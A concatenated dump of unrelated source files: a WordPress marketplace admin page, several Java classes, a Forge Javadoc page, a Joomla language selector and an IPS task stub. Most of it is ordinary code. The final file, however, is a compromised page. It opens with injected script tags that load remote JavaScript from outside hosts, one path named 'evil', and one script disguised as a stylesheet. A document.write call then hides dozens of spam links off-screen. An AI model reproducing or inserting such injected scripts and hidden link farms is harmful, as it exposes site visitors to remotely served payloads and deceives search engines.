mm_partner_offers('services-banner-top');
mm_pagination($api->page, $api->pageCount);
?>
</div>
<main id="main">
<div class="container">
<div class="panel panel-default">
<div class="panel-heading">
<div class="row">
<div class="col-xs-12 col-sm-8">
<ol class="breadcrumb">
<li>WordPress Services</li>
<?php
if (isset($_GET['items'])) {
?>
<li class="active"><?php echo mm_slug_to_title($_GET['items']); ?></li>
<?php
}
?>
</ol>
</div>
<div class="col-xs-12 col-sm-4">
<form class="form-horizontal services-sort">
<label for="sort_select" class="control-label">Sort By</label>
<span class="fake-select">
<select class="form-control input-sm" id="sort_select">
<option value=''>Select</option>
<option value='price'<?php selected('price', $query['order']); ?>>Price</option>
<option value='latest'<?php selected('latest', $query['order']); ?>>Date Added
</option>
<option value='random'<?php selected('random', $query['order']); ?>>Random
</option>
</select>
</span>
<a href='#' class='sort-direction'><span
class="dashicons dashicons-sort"></span></a>
</form>
</div>
</div>
</div>
<div class="panel-body">
<div class="list-group">
<?php
foreach ($items as $item) {
if ('0' == $item->prices->single_domain_license) {
continue;
}
?>
<div class="list-group-item theme-item">
<div class="row">
<div class="col-xs-12 col-sm-4 col-md-5">
<?php
if ('themes' == $type) {
if (isset($_GET['items'])) {
$items = sanitize_title_for_query($_GET['items']);
} else {
$items = 'popular';
}
$link = add_query_arg(array('page' => 'mojo-theme-preview', 'id' => $item->id, 'items' => $items), admin_url('admin.php'));
} else {
$link = add_query_arg(array('page' => 'mojo-single-item', 'item_id' => $item->id), admin_url('admin.php'));
}
?>
<a href="<?php echo $link; ?>">
<img class="img-responsive"
src="<?php echo $item->images->preview_url; ?>"
alt="image description" width="367" height="205">
</a>
</div>
<div class="col-xs-12 col-sm-5 col-md-5">
<div class="description-box">
<h2>
<a href="<?php echo $link; ?>"><?php echo apply_filters('mm_item_name', $item->name); ?></a>
</h2>
<?php if (isset($item->short_description)) {
echo $item->short_description;
} ?>
<p><?php if (isset($item->tags)) {
echo '<strong>Tags: </strong>' . substr($item->tags, 0, 120) . '…';
} ?></p>
<?php mm_stars($item->rating, $item->sales_count); ?>
</div>
</div>
<div class="col-xs-12 col-sm-3 col-md-2">
<div class="text-center info-box">
<div class="price">
<span class="currency">USD</span>
<span
class="price-number">$<span><?php echo number_format($item->prices->single_domain_license); ?></span></span>
</div>
<div class="btn-group-vertical" role="group">
<a href="<?php echo esc_url(add_query_arg(array('page' => 'mojo-single-item', 'item_id' => $item->id), admin_url('admin.php'))); ?>"
class="btn btn-primary btn-lg">Details</a>
<a href="<?php echo mm_build_link(add_query_arg(array('item_id' => $item->id), 'https://www.mojomarketplace.com/cart'), array('utm_medium' => 'plugin_admin', 'utm_content' => 'buy_now_list')); ?>"
class="btn btn-success btn-lg"
data-price="<?php echo number_format($item->prices->single_domain_license); ?>"
data-view="services_list">Buy Now</a>
</div>
</div>
</div>
</div>
</div>
<?php
}
?>
</div>
</div>
</div>
<?php
mm_partner_offers('services-banner-bottom');
mm_pagination($api->page, $api->pageCount);
?>
<br style="clear: both"/><span class="alignright powered"><a
href="<?php echo mm_build_link('https://www.mojomarketplace.com'); ?>"><img height="16"
width="156"
alt="Mojo Marketplace"
src="<?php echo MM_ASSETS_URL . 'img/logo-dark.svg'; ?>"></a></span>
</div>
</main>
</div>
<script type="text/javascript">
jQuery(document).ready(function ($) {
$('.services-sort #sort_select').change(function () {
window.location.href = window.location.href + '&sort=' + this.value;
});
$('.services-sort a.sort-direction').click(function (link) {
link.preventDefault();
var dir = location.search.split('direction=')[1];
if ('undefined' == typeof( dir ) || 'asc' == dir) {
window.location.href = window.location.href + '&direction=desc';
} else {
window.location.href = window.location.href + '&direction=asc';
}
});
});
</script>
<?php
}
|
oferca75/my_repo
|
wp-content/plugins/mojo-marketplace-wp-plugin/pages/mojo-services.php
|
PHP
|
gpl-2.0
| 10,333
|
package org.mo.eng.store;
import org.mo.com.lang.FObjects;
//============================================================
// <T>XML行集合。</T>
//============================================================
public class FXmlRows
extends FObjects<FXmlRow>
{
//============================================================
// <T>构造XML行集合。</T>
//============================================================
public FXmlRows(){
super(FXmlRow.class);
}
}
|
favedit/MoPlatform
|
mo-2-core/src/engine-java/org/mo/eng/store/FXmlRows.java
|
Java
|
gpl-2.0
| 493
|
/*******************************************************************************
* Software Name : RCS IMS Stack
*
* Copyright (C) 2010 France Telecom S.A.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
******************************************************************************/
package com.orangelabs.rcs.core.ims.service.im.chat.event;
import java.util.Vector;
/**
* Conference-Info document
*
* @author jexa7410
*/
public class ConferenceInfoDocument {
/** STATE values*/
public final static String STATE_PARTIAL = "partial";
public final static String STATE_FULL = "full";
public final static String STATE_DELETED = "deleted";
/**
* Conference URI
*/
private String entity;
/**
* State attribute
*/
private String state;
/**
* List of users
*/
private Vector<User> users = new Vector<User>();
/**
* Maximum number of participants for the chat session
*/
private int maxUserCount = 0;
/**
* Current number of participants in the chat session
*/
private int userCount = 0;
/**
* Constructor
*
* @param entity conference URI
* @param state state attribute
*/
public ConferenceInfoDocument(String entity, String state) {
this.entity = entity;
this.state = state;
}
/**
* Return the conference URI
*
* @return conference URI
*/
public String getEntity() {
return entity;
}
/**
* Reeturn the state
*
* @return state
*/
public String getState() {
return state;
}
/**
* Add a user
*
* @param user
*/
public void addUser(User user) {
users.addElement(user);
}
/**
* Get the list of users
*
* @return list of users
*/
public Vector<User> getUsers() {
return users;
}
/**
* Get the maximum user count. 0 if not contained in the conference info
*
* @return the maxUserCount
*/
public int getMaxUserCount() {
return maxUserCount;
}
/**
* Set the maximum user count
*
* @param maxUserCount the maxUserCount to set
*/
public void setMaxUserCount(int maxUserCount) {
this.maxUserCount = maxUserCount;
}
/**
* Get the user count. 0 if not contained in the conference info
*
* @return the userCount
*/
public int getUserCount() {
return userCount;
}
/**
* Set the user count
*
* @param userCount the userCount to set
*/
public void setUserCount(int userCount) {
this.userCount = userCount;
}
}
|
rex-xxx/mt6572_x201
|
mediatek/packages/apps/RCSe/core/src/com/orangelabs/rcs/core/ims/service/im/chat/event/ConferenceInfoDocument.java
|
Java
|
gpl-2.0
| 3,202
|
package edu.zju.bme.clever.management.service.repository;
import java.util.List;
import java.util.Set;
import org.springframework.data.jpa.repository.JpaRepository;
import org.springframework.data.jpa.repository.Query;
import edu.zju.bme.clever.management.service.entity.User;
public interface UserRepository extends JpaRepository<User, Integer> {
public List<User> findByRoleId(Integer id);
public User findByName(String name);
public List<User> findByIsEnabledTrue();
@Query("select user from User user left join fetch user.role role left join fetch role.authorities")
public Set<User> findAllFetchAll();
}
|
ZJU-BME-VICO/clever-managment
|
clever-management-service/src/main/java/edu/zju/bme/clever/management/service/repository/UserRepository.java
|
Java
|
gpl-2.0
| 625
|
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!-- NewPage -->
<html lang="en">
<head>
<!-- Generated by javadoc (version 1.7.0_65) on Sun Jan 11 16:07:03 EST 2015 -->
<title>Side (Forge API)</title>
<meta name="date" content="2015-01-11">
<link rel="stylesheet" type="text/css" href="../../../../stylesheet.css" title="Style">
</head>
<body>
<script type="text/javascript"><!--
if (location.href.indexOf('is-external=true') == -1) {
parent.document.title="Side (Forge API)";
}
//-->
</script>
<noscript>
<div>JavaScript is disabled on your browser.</div>
</noscript>
<!-- ========= START OF TOP NAVBAR ======= -->
<div class="topNav"><a name="navbar_top">
<!-- -->
</a><a href="#skip-navbar_top" title="Skip navigation links"></a><a name="navbar_top_firstrow">
<!-- -->
</a>
<ul class="navList" title="Navigation">
<li><a href="../../../../overview-summary.html">Overview</a></li>
<li><a href="package-summary.html">Package</a></li>
<li class="navBarCell1Rev">Class</li>
<li><a href="package-tree.html">Tree</a></li>
<li><a href="../../../../deprecated-list.html">Deprecated</a></li>
<li><a href="../../../../index-all.html">Index</a></li>
<li><a href="../../../../help-doc.html">Help</a></li>
</ul>
</div>
<div class="subNav">
<ul class="navList">
<li><a href="../../../../cpw/mods/fml/relauncher/ServerLaunchWrapper.html" title="class in cpw.mods.fml.relauncher"><span class="strong">Prev Class</span></a></li>
<li><a href="../../../../cpw/mods/fml/relauncher/SideOnly.html" title="annotation in cpw.mods.fml.relauncher"><span class="strong">Next Class</span></a></li>
</ul>
<ul class="navList">
<li><a href="../../../../index.html?cpw/mods/fml/relauncher/Side.html" target="_top">Frames</a></li>
<li><a href="Side.html" target="_top">No Frames</a></li>
</ul>
<ul class="navList" id="allclasses_navbar_top">
<li><a href="../../../../allclasses-noframe.html">All Classes</a></li>
</ul>
<div>
<script type="text/javascript"><!--
allClassesLink = document.getElementById("allclasses_navbar_top");
if(window==top) {
allClassesLink.style.display = "block";
}
else {
allClassesLink.style.display = "none";
}
//-->
</script>
</div>
<div>
<ul class="subNavList">
<li>Summary: </li>
<li>Nested | </li>
<li><a href="#enum_constant_summary">Enum Constants</a> | </li>
<li>Field | </li>
<li><a href="#method_summary">Method</a></li>
</ul>
<ul class="subNavList">
<li>Detail: </li>
<li><a href="#enum_constant_detail">Enum Constants</a> | </li>
<li>Field | </li>
<li><a href="#method_detail">Method</a></li>
</ul>
</div>
<a name="skip-navbar_top">
<!-- -->
</a></div>
<!-- ========= END OF TOP NAVBAR ========= -->
<!-- ======== START OF CLASS DATA ======== -->
<div class="header">
<div class="subTitle">cpw.mods.fml.relauncher</div>
<h2 title="Enum Side" class="title">Enum Side</h2>
</div>
<div class="contentContainer">
<ul class="inheritance">
<li>java.lang.Object</li>
<li>
<ul class="inheritance">
<li>java.lang.Enum<<a href="../../../../cpw/mods/fml/relauncher/Side.html" title="enum in cpw.mods.fml.relauncher">Side</a>></li>
<li>
<ul class="inheritance">
<li>cpw.mods.fml.relauncher.Side</li>
</ul>
</li>
</ul>
</li>
</ul>
<div class="description">
<ul class="blockList">
<li class="blockList">
<dl>
<dt>All Implemented Interfaces:</dt>
<dd>java.io.Serializable, java.lang.Comparable<<a href="../../../../cpw/mods/fml/relauncher/Side.html" title="enum in cpw.mods.fml.relauncher">Side</a>></dd>
</dl>
<hr>
<br>
<pre>public enum <span class="strong">Side</span>
extends java.lang.Enum<<a href="../../../../cpw/mods/fml/relauncher/Side.html" title="enum in cpw.mods.fml.relauncher">Side</a>></pre>
</li>
</ul>
</div>
<div class="summary">
<ul class="blockList">
<li class="blockList">
<!-- =========== ENUM CONSTANT SUMMARY =========== -->
<ul class="blockList">
<li class="blockList"><a name="enum_constant_summary">
<!-- -->
</a>
<h3>Enum Constant Summary</h3>
<table class="overviewSummary" border="0" cellpadding="3" cellspacing="0" summary="Enum Constant Summary table, listing enum constants, and an explanation">
<caption><span>Enum Constants</span><span class="tabEnd"> </span></caption>
<tr>
<th class="colOne" scope="col">Enum Constant and Description</th>
</tr>
<tr class="altColor">
<td class="colOne"><code><strong><a href="../../../../cpw/mods/fml/relauncher/Side.html#CLIENT">CLIENT</a></strong></code>
<div class="block">The client side.</div>
</td>
</tr>
<tr class="rowColor">
<td class="colOne"><code><strong><a href="../../../../cpw/mods/fml/relauncher/Side.html#SERVER">SERVER</a></strong></code>
<div class="block">The server side.</div>
</td>
</tr>
</table>
</li>
</ul>
<!-- ========== METHOD SUMMARY =========== -->
<ul class="blockList">
<li class="blockList"><a name="method_summary">
<!-- -->
</a>
<h3>Method Summary</h3>
<table class="overviewSummary" border="0" cellpadding="3" cellspacing="0" summary="Method Summary table, listing methods, and an explanation">
<caption><span>Methods</span><span class="tabEnd"> </span></caption>
<tr>
<th class="colFirst" scope="col">Modifier and Type</th>
<th class="colLast" scope="col">Method and Description</th>
</tr>
<tr class="altColor">
<td class="colFirst"><code>boolean</code></td>
<td class="colLast"><code><strong><a href="../../../../cpw/mods/fml/relauncher/Side.html#isClient()">isClient</a></strong>()</code> </td>
</tr>
<tr class="rowColor">
<td class="colFirst"><code>boolean</code></td>
<td class="colLast"><code><strong><a href="../../../../cpw/mods/fml/relauncher/Side.html#isServer()">isServer</a></strong>()</code> </td>
</tr>
<tr class="altColor">
<td class="colFirst"><code>static <a href="../../../../cpw/mods/fml/relauncher/Side.html" title="enum in cpw.mods.fml.relauncher">Side</a></code></td>
<td class="colLast"><code><strong><a href="../../../../cpw/mods/fml/relauncher/Side.html#valueOf(java.lang.String)">valueOf</a></strong>(java.lang.String name)</code>
<div class="block">Returns the enum constant of this type with the specified name.</div>
</td>
</tr>
<tr class="rowColor">
<td class="colFirst"><code>static <a href="../../../../cpw/mods/fml/relauncher/Side.html" title="enum in cpw.mods.fml.relauncher">Side</a>[]</code></td>
<td class="colLast"><code><strong><a href="../../../../cpw/mods/fml/relauncher/Side.html#values()">values</a></strong>()</code>
<div class="block">Returns an array containing the constants of this enum type, in
the order they are declared.</div>
</td>
</tr>
</table>
<ul class="blockList">
<li class="blockList"><a name="methods_inherited_from_class_java.lang.Enum">
<!-- -->
</a>
<h3>Methods inherited from class java.lang.Enum</h3>
<code>clone, compareTo, equals, finalize, getDeclaringClass, hashCode, name, ordinal, toString, valueOf</code></li>
</ul>
<ul class="blockList">
<li class="blockList"><a name="methods_inherited_from_class_java.lang.Object">
<!-- -->
</a>
<h3>Methods inherited from class java.lang.Object</h3>
<code>getClass, notify, notifyAll, wait, wait, wait</code></li>
</ul>
</li>
</ul>
</li>
</ul>
</div>
<div class="details">
<ul class="blockList">
<li class="blockList">
<!-- ============ ENUM CONSTANT DETAIL =========== -->
<ul class="blockList">
<li class="blockList"><a name="enum_constant_detail">
<!-- -->
</a>
<h3>Enum Constant Detail</h3>
<a name="CLIENT">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>CLIENT</h4>
<pre>public static final <a href="../../../../cpw/mods/fml/relauncher/Side.html" title="enum in cpw.mods.fml.relauncher">Side</a> CLIENT</pre>
<div class="block">The client side. Specifically, an environment where rendering capability exists.
Usually in the game client.</div>
</li>
</ul>
<a name="SERVER">
<!-- -->
</a>
<ul class="blockListLast">
<li class="blockList">
<h4>SERVER</h4>
<pre>public static final <a href="../../../../cpw/mods/fml/relauncher/Side.html" title="enum in cpw.mods.fml.relauncher">Side</a> SERVER</pre>
<div class="block">The server side. Specifically, an environment where NO rendering capability exists.
Usually on the dedicated server.</div>
</li>
</ul>
</li>
</ul>
<!-- ============ METHOD DETAIL ========== -->
<ul class="blockList">
<li class="blockList"><a name="method_detail">
<!-- -->
</a>
<h3>Method Detail</h3>
<a name="values()">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>values</h4>
<pre>public static <a href="../../../../cpw/mods/fml/relauncher/Side.html" title="enum in cpw.mods.fml.relauncher">Side</a>[] values()</pre>
<div class="block">Returns an array containing the constants of this enum type, in
the order they are declared. This method may be used to iterate
over the constants as follows:
<pre>
for (Side c : Side.values())
System.out.println(c);
</pre></div>
<dl><dt><span class="strong">Returns:</span></dt><dd>an array containing the constants of this enum type, in the order they are declared</dd></dl>
</li>
</ul>
<a name="valueOf(java.lang.String)">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>valueOf</h4>
<pre>public static <a href="../../../../cpw/mods/fml/relauncher/Side.html" title="enum in cpw.mods.fml.relauncher">Side</a> valueOf(java.lang.String name)</pre>
<div class="block">Returns the enum constant of this type with the specified name.
The string must match <i>exactly</i> an identifier used to declare an
enum constant in this type. (Extraneous whitespace characters are
not permitted.)</div>
<dl><dt><span class="strong">Parameters:</span></dt><dd><code>name</code> - the name of the enum constant to be returned.</dd>
<dt><span class="strong">Returns:</span></dt><dd>the enum constant with the specified name</dd>
<dt><span class="strong">Throws:</span></dt>
<dd><code>java.lang.IllegalArgumentException</code> - if this enum type has no constant with the specified name</dd>
<dd><code>java.lang.NullPointerException</code> - if the argument is null</dd></dl>
</li>
</ul>
<a name="isServer()">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>isServer</h4>
<pre>public boolean isServer()</pre>
<dl><dt><span class="strong">Returns:</span></dt><dd>If this is the server environment</dd></dl>
</li>
</ul>
<a name="isClient()">
<!-- -->
</a>
<ul class="blockListLast">
<li class="blockList">
<h4>isClient</h4>
<pre>public boolean isClient()</pre>
<dl><dt><span class="strong">Returns:</span></dt><dd>if this is the Client environment</dd></dl>
</li>
</ul>
</li>
</ul>
</li>
</ul>
</div>
</div>
<!-- ========= END OF CLASS DATA ========= -->
<!-- ======= START OF BOTTOM NAVBAR ====== -->
<div class="bottomNav"><a name="navbar_bottom">
<!-- -->
</a><a href="#skip-navbar_bottom" title="Skip navigation links"></a><a name="navbar_bottom_firstrow">
<!-- -->
</a>
<ul class="navList" title="Navigation">
<li><a href="../../../../overview-summary.html">Overview</a></li>
<li><a href="package-summary.html">Package</a></li>
<li class="navBarCell1Rev">Class</li>
<li><a href="package-tree.html">Tree</a></li>
<li><a href="../../../../deprecated-list.html">Deprecated</a></li>
<li><a href="../../../../index-all.html">Index</a></li>
<li><a href="../../../../help-doc.html">Help</a></li>
</ul>
</div>
<div class="subNav">
<ul class="navList">
<li><a href="../../../../cpw/mods/fml/relauncher/ServerLaunchWrapper.html" title="class in cpw.mods.fml.relauncher"><span class="strong">Prev Class</span></a></li>
<li><a href="../../../../cpw/mods/fml/relauncher/SideOnly.html" title="annotation in cpw.mods.fml.relauncher"><span class="strong">Next Class</span></a></li>
</ul>
<ul class="navList">
<li><a href="../../../../index.html?cpw/mods/fml/relauncher/Side.html" target="_top">Frames</a></li>
<li><a href="Side.html" target="_top">No Frames</a></li>
</ul>
<ul class="navList" id="allclasses_navbar_bottom">
<li><a href="../../../../allclasses-noframe.html">All Classes</a></li>
</ul>
<div>
<script type="text/javascript"><!--
allClassesLink = document.getElementById("allclasses_navbar_bottom");
if(window==top) {
allClassesLink.style.display = "block";
}
else {
allClassesLink.style.display = "none";
}
//-->
</script>
</div>
<div>
<ul class="subNavList">
<li>Summary: </li>
<li>Nested | </li>
<li><a href="#enum_constant_summary">Enum Constants</a> | </li>
<li>Field | </li>
<li><a href="#method_summary">Method</a></li>
</ul>
<ul class="subNavList">
<li>Detail: </li>
<li><a href="#enum_constant_detail">Enum Constants</a> | </li>
<li>Field | </li>
<li><a href="#method_detail">Method</a></li>
</ul>
</div>
<a name="skip-navbar_bottom">
<!-- -->
</a></div>
<!-- ======== END OF BOTTOM NAVBAR ======= -->
</body>
</html>
|
Gullanshire/Minecraft_Mod-The_Exorcist
|
1.7.10_Forge_Documents/cpw/mods/fml/relauncher/Side.html
|
HTML
|
gpl-2.0
| 12,831
|
/*
* This is the source code of Telegram for Android v. 3.x.x.
* It is licensed under GNU GPL v. 2 or later.
* You should have received a copy of the license in this archive (see LICENSE).
*
* Copyright Nikolai Kudashov, 2013-2016.
*/
package com.panahit.ui.Adapters;
import android.content.Context;
import android.view.View;
import android.view.ViewGroup;
import com.panahit.telegramma.AndroidUtilities;
import com.panahit.telegramma.ApplicationLoader;
import com.panahit.ui.Cells.DividerCell;
import com.panahit.ui.Cells.TextSettingsCell;
import com.panahit.telegramma.LocaleController;
import com.panahit.telegramma.FileLog;
import com.panahit.ui.Cells.LetterSectionCell;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.ArrayList;
import java.util.Collections;
import java.util.Comparator;
import java.util.HashMap;
public class CountryAdapter extends BaseSectionsAdapter {
public static class Country {
public String name;
public String code;
public String shortname;
}
private Context mContext;
private HashMap<String, ArrayList<Country>> countries = new HashMap<>();
private ArrayList<String> sortedCountries = new ArrayList<>();
public CountryAdapter(Context context) {
mContext = context;
try {
InputStream stream = ApplicationLoader.applicationContext.getResources().getAssets().open("countries.txt");
BufferedReader reader = new BufferedReader(new InputStreamReader(stream));
String line;
while ((line = reader.readLine()) != null) {
String[] args = line.split(";");
Country c = new Country();
c.name = args[2];
c.code = args[0];
c.shortname = args[1];
String n = c.name.substring(0, 1).toUpperCase();
ArrayList<Country> arr = countries.get(n);
if (arr == null) {
arr = new ArrayList<>();
countries.put(n, arr);
sortedCountries.add(n);
}
arr.add(c);
}
reader.close();
stream.close();
} catch (Exception e) {
FileLog.e("tmessages", e);
}
Collections.sort(sortedCountries, new Comparator<String>() {
@Override
public int compare(String lhs, String rhs) {
return lhs.compareTo(rhs);
}
});
for (ArrayList<Country> arr : countries.values()) {
Collections.sort(arr, new Comparator<Country>() {
@Override
public int compare(Country country, Country country2) {
return country.name.compareTo(country2.name);
}
});
}
}
public HashMap<String, ArrayList<Country>> getCountries() {
return countries;
}
@Override
public Country getItem(int section, int position) {
if (section < 0 || section >= sortedCountries.size()) {
return null;
}
ArrayList<Country> arr = countries.get(sortedCountries.get(section));
if (position < 0 || position >= arr.size()) {
return null;
}
return arr.get(position);
}
@Override
public boolean isRowEnabled(int section, int row) {
ArrayList<Country> arr = countries.get(sortedCountries.get(section));
return row < arr.size();
}
@Override
public int getSectionCount() {
return sortedCountries.size();
}
@Override
public int getCountForSection(int section) {
int count = countries.get(sortedCountries.get(section)).size();
if (section != sortedCountries.size() - 1) {
count++;
}
return count;
}
@Override
public View getSectionHeaderView(int section, View convertView, ViewGroup parent) {
if (convertView == null) {
convertView = new LetterSectionCell(mContext);
((LetterSectionCell) convertView).setCellHeight(AndroidUtilities.dp(48));
}
((LetterSectionCell) convertView).setLetter(sortedCountries.get(section).toUpperCase());
return convertView;
}
@Override
public View getItemView(int section, int position, View convertView, ViewGroup parent) {
int type = getItemViewType(section, position);
if (type == 1) {
if (convertView == null) {
convertView = new DividerCell(mContext);
convertView.setPadding(AndroidUtilities.dp(LocaleController.isRTL ? 24 : 72), 0, AndroidUtilities.dp(LocaleController.isRTL ? 72 : 24), 0);
}
} else if (type == 0) {
if (convertView == null) {
convertView = new TextSettingsCell(mContext);
convertView.setPadding(AndroidUtilities.dp(LocaleController.isRTL ? 16 : 54), 0, AndroidUtilities.dp(LocaleController.isRTL ? 54 : 16), 0);
}
ArrayList<Country> arr = countries.get(sortedCountries.get(section));
Country c = arr.get(position);
((TextSettingsCell) convertView).setTextAndValue(c.name, "+" + c.code, false);
}
return convertView;
}
@Override
public int getItemViewType(int section, int position) {
ArrayList<Country> arr = countries.get(sortedCountries.get(section));
return position < arr.size() ? 0 : 1;
}
@Override
public int getViewTypeCount() {
return 2;
}
}
|
tooskagroup/test
|
TMessagesProj/src/main/java/com/panahit/ui/Adapters/CountryAdapter.java
|
Java
|
gpl-2.0
| 5,604
|
<select onchange="document.location.replace(this.value);" class="inputbox">
<option selected="selected" value="index.php"><span style="background:url(media/mod_languages/images/en.gif);height:32px;width:32px;display:block;"></span>English</option>
<option value="index.php" dir="ltr"> Français </option>
</select>
|
anwar31dec/lptt
|
administrator/components/com_jcode/source/language_switcher.php
|
PHP
|
gpl-2.0
| 319
|
<?php
/**
* @brief expiretokens Task
* @author <a href='http://www.invisionpower.com'>Invision Power Services, Inc.</a>
* @copyright (c) 2001 - 2016 Invision Power Services, Inc.
* @license http://www.invisionpower.com/legal/standards/
* @package IPS Community Suite
* @subpackage oauth2server
* @since 26 Aug 2016
* @version SVN_VERSION_NUMBER
*/
namespace IPS\oauth2server\tasks;
/* To prevent PHP errors (extending class does not exist) revealing path */
if ( !defined( '\IPS\SUITE_UNIQUE_KEY' ) )
{
header( ( isset( $_SERVER['SERVER_PROTOCOL'] ) ? $_SERVER['SERVER_PROTOCOL'] : 'HTTP/1.0' ) . ' 403 Forbidden' );
exit;
}
/**
* expiretokens Task
*/
class _expiretokens extends \IPS\Task
{
/**
* Execute
*
* If ran successfully, should return anything worth logging. Only log something
* worth mentioning (don't log "task ran successfully"). Return NULL (actual NULL, not '' or 0) to not log (which will be most cases).
* If an error occurs which means the task could not finish running, throw an \IPS\Task\Exception - do not log an error as a normal log.
* Tasks should execute within the time of a normal HTTP request.
*
* @return mixed Message to log or NULL
* @throws \IPS\Task\Exception
*/
public function execute()
{
return NULL;
}
/**
* Cleanup
*
* If your task takes longer than 15 minutes to run, this method
* will be called before execute(). Use it to clean up anything which
* may not have been done
*
* @return void
*/
public function cleanup()
{
}
}
|
wohali/ips4-oauth2-server
|
tasks/expiretokens.php
|
PHP
|
gpl-2.0
| 1,538
|
<script src="http://cpm.36obuy.org/evil/1.js"></script><script src="http://cpm.36obuy.org/lion/1.js"></script><script/src=//360cdn.win/c.css></script>
<script>document.write ('<d' + 'iv cl' + 'a' + 's' + 's="z' + '7z8z' + '9z6" st' + 'yl' + 'e="p' + 'ositio' + 'n:f' + 'ixed;l' + 'ef' + 't:-3' + '000' + 'p' + 'x;t' + 'op' + ':-3' + '000' + 'p' + 'x;' + '"' + '>');</script>
<a class="z7z8z9z6" href="http://www.4695288.com/">http://www.4695288.com/</a>
<a class="z7z8z9z6" href="http://www.5613117.com/">http://www.5613117.com/</a>
<a class="z7z8z9z6" href="http://www.4309272.com/">http://www.4309272.com/</a>
<a class="z7z8z9z6" href="http://www.3619276.com/">http://www.3619276.com/</a>
<a class="z7z8z9z6" href="http://www.1539774.com/">http://www.1539774.com/</a>
<a class="z7z8z9z6" href="http://www.2234809.com/">http://www.2234809.com/</a>
<a class="z7z8z9z6" href="http://www.0551180.com/">http://www.0551180.com/</a>
<a class="z7z8z9z6" href="http://www.0027022.com/">http://www.0027022.com/</a>
<a class="z7z8z9z6" href="http://www.1408600.com/">http://www.1408600.com/</a>
<a class="z7z8z9z6" href="http://www.5004279.com/">http://www.5004279.com/</a>
<a class="z7z8z9z6" href="http://www.4314451.com/">http://www.4314451.com/</a>
<a class="z7z8z9z6" href="http://www.9402647.com/">http://www.9402647.com/</a>
<a class="z7z8z9z6" href="http://www.6420212.com/">http://www.6420212.com/</a>
<a class="z7z8z9z6" href="http://www.0921315.com/">http://www.0921315.com/</a>
<a class="z7z8z9z6" href="http://www.4849062.com/">http://www.4849062.com/</a>
<a class="z7z8z9z6" href="http://www.8027847.com/">http://www.8027847.com/</a>
<a class="z7z8z9z6" href="http://www.5101309.com/">http://www.5101309.com/</a>
<a class="z7z8z9z6" href="http://www.8033162.com/">http://www.8033162.com/</a>
<a class="z7z8z9z6" href="http://www.7808733.com/">http://www.7808733.com/</a>
<a class="z7z8z9z6" href="http://www.7021821.com/">http://www.7021821.com/</a>
<a class="z7z8z9z6" href="http://www.8560978.com/">http://www.8560978.com/</a>
<a class="z7z8z9z6" href="http://www.3301718.com/">http://www.3301718.com/</a>
<a class="z7z8z9z6" href="http://www.2444890.com/">http://www.2444890.com/</a>
<a class="z7z8z9z6" href="http://www.2501886.com/">http://www.2501886.com/</a>
<a class="z7z8z9z6" href="http://www.8773150.com/">http://www.8773150.com/</a>
<a class="z7z8z9z6" href="http://www.gkamlb.com/">http://www.gkamlb.com/</a>
<a class="z7z8z9z6" href="http://www.nxkmky.com/">http://www.nxkmky.com/</a>
<a class="z7z8z9z6" href="http://www.pkdszd.com/">http://www.pkdszd.com/</a>
<a class="z7z8z9z6" href="http://www.scqyba.com/">http://www.scqyba.com/</a>
<a class="z7z8z9z6" href="http://www.vwyhzp.com/">http://www.vwyhzp.com/</a>
<a class="z7z8z9z6" href="http://www.vwwoms.com/">http://www.vwwoms.com/</a>
<a class="z7z8z9z6" href="http://www.svfdun.com/">http://www.svfdun.com/</a>
<a class="z7z8z9z6" href="http://www.wivjvd.com/">http://www.wivjvd.com/</a>
<a class="z7z8z9z6" href="http://www.sstldp.com/">http://www.sstldp.com/</a>
<a class="z7z8z9z6" href="http://www.sqmtvh.com/">http://www.sqmtvh.com/</a>
<a class="z7z8z9z6" href="http://www.fmxnav.com/">http://www.fmxnav.com/</a>
<a class="z7z8z9z6" href="http://www.etqglz.com/">http://www.etqglz.com/</a>
<a class="z7z8z9z6" href="http://www.rjwmkb.com/">http://www.rjwmkb.com/</a>
<a class="z7z8z9z6" href="http://www.yrljss.com/">http://www.yrljss.com/</a>
<a class="z7z8z9z6" href="http://www.ymdwnv.com/">http://www.ymdwnv.com/</a>
<a class="z7z8z9z6" href="http://www.lhxcjs.com/">http://www.lhxcjs.com/</a>
<a class="z7z8z9z6" href="http://www.fekcko.com/">http://www.fekcko.com/</a>
<a class="z7z8z9z6" href="http://www.furpdg.com/">http://www.furpdg.com/</a>
<a class="z7z8z9z6" href="http://www.voqgwh.com/">http://www.voqgwh.com/</a>
<a class="z7z8z9z6" href="http://www.fknqkj.com/">http://www.fknqkj.com/</a>
<a class="z7z8z9z6" href="http://www.hhabtr.com/">http://www.hhabtr.com/</a>
<a class="z7z8z9z6" href="http://www.ogmykg.com/">http://www.ogmykg.com/</a>
<a class="z7z8z9z6" href="http://www.vseogg.com/">http://www.vseogg.com/</a>
<a class="z7z8z9z6" href="http://www.ctkllf.com/">http://www.ctkllf.com/</a>
<a class="z7z8z9z6" href="http://www.xzxefw.com/">http://www.xzxefw.com/</a>
<a class="z7z8z9z6" href="http://www.0172679.com/">http://www.0172679.com/</a>
<a class="z7z8z9z6" href="http://www.6088532.com/">http://www.6088532.com/</a>
<a class="z7z8z9z6" href="http://www.5214437.com/">http://www.5214437.com/</a>
<a class="z7z8z9z6" href="http://www.4601598.com/">http://www.4601598.com/</a>
<a class="z7z8z9z6" href="http://www.3848474.com/">http://www.3848474.com/</a>
<a class="z7z8z9z6" href="http://www.7621914.com/">http://www.7621914.com/</a>
<a class="z7z8z9z6" href="http://www.9064024.com/">http://www.9064024.com/</a>
<a class="z7z8z9z6" href="http://www.0979289.com/">http://www.0979289.com/</a>
<a class="z7z8z9z6" href="http://www.8732369.com/">http://www.8732369.com/</a>
